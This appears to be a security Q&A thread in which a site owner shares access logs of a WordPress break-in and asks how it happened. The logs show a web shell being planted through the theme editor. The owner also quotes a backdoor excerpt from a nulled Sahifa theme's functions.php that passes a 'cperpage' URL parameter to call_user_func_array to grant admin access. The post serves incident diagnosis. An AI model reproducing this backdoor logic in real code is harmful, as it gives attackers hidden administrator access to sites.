2

I have two sites which appear to have been hacked. I checked the access logs and found these log entries:

"GET / HTTP/1.1" 200 20213 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25329 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /index.php?cperpage=1 HTTP/1.1" 301 0 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /?cperpage=1 HTTP/1.1" 200 25328 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php HTTP/1.1" 200 19478 "http://example.com/?cperpage=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-admin/theme-editor.php HTTP/1.1" 302 0 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true HTTP/1.1" 200 19649 "http://example.com/wp-admin/theme-editor.php?file=404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-admin/theme-editor.php?file=404.php&theme=sahifa&scrollto=0&updated=true" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/404.php HTTP/1.1" 200 162 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"GET /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/404.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
"POST /wp-content/themes/sahifa/accesson.php HTTP/1.1" 200 27 "http://example.com/wp-content/themes/sahifa/accesson.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"

According to these log entries, if looks like a hacker could access wp-admin/theme-editor.php in my site and modify the 404.php page of my theme to append their code as a starting point.

Using codes added to my 404.php he/she could post specific data to this page and create required files as their tools for next steps of an attack like accesson.php.

My question is, how could a hacker run code with admin privileges? Is it some sort of bug or could they access it because of malware which was running on my client when modifying my site? Or was it a misconfiguration of my website which lead to this?

Additional question: What was his/her intent to send get requests like GET /?cperpage=1? Are they just trying to detect CMS on my site or something else?

P.S. I scanned compromised 404.php file in virus total and it was identified as Generic.PHP.RansomA.8D9B55CA or CPR1E7F.Webshell by some of anti-viruses.

Updates:

I did call my site with example.com/?cperpage=1 and eventually opening my homepage after this call it leads to opening my site with admin access. I don't know how this call led to privilege escalation. I looked inside my site codes and could find below details. cperpage is used inside /wp-content/themes/sahifa/functions.php. Here is the snippet:

function _prepared_widget(){
   ....
   ....
   if(!isset($perpage)) $perpage=$_GET["cperpage"];
   ....
    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;

}
add_action("init", "_prepared_widget");

Are there any ways to workaround this vulnerability?

  • I'm afraid nobody can give you a definite answer. We don't have enough information to know how the attack went in detail. – deviantfan Jul 29 '18 at 23:30
  • @deviantfan I add some info at the end of my question about attack. – VSB Jul 30 '18 at 0:04
  • @VSB have you ran wpscan against your site yet? It's pretty good at finding wordpress vulns. I use it constantly – Anthony Russell Jul 30 '18 at 0:14
  • @AnthonyRussell I'm in the middle of it. But thanks for your notice. Currently I'm wondering what wrong with my theme or web-hosting service which just by passing a simple parameter hacker could access my site! – VSB Jul 30 '18 at 0:32
  • @VSB there have been known vulnerabilities with the Sahifa theme in the past. I'd start by consulting those with your accompanying logs – waymobetta Jul 30 '18 at 0:43
2

You might have downloaded the nulled theme from file sharing websites. Theme has a backdoor code that allowed attacker to access your website and modify it.

Your code clearly says its compromised, don't try to fix the code as attackers will usually have multiple backdoors and will use one at a time.

Its better to export your WordPress content in XML and then import it in a fresh new latest WordPress account with legally purchased theme. Make sure you nuke your hosting account before installing new WordPress.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.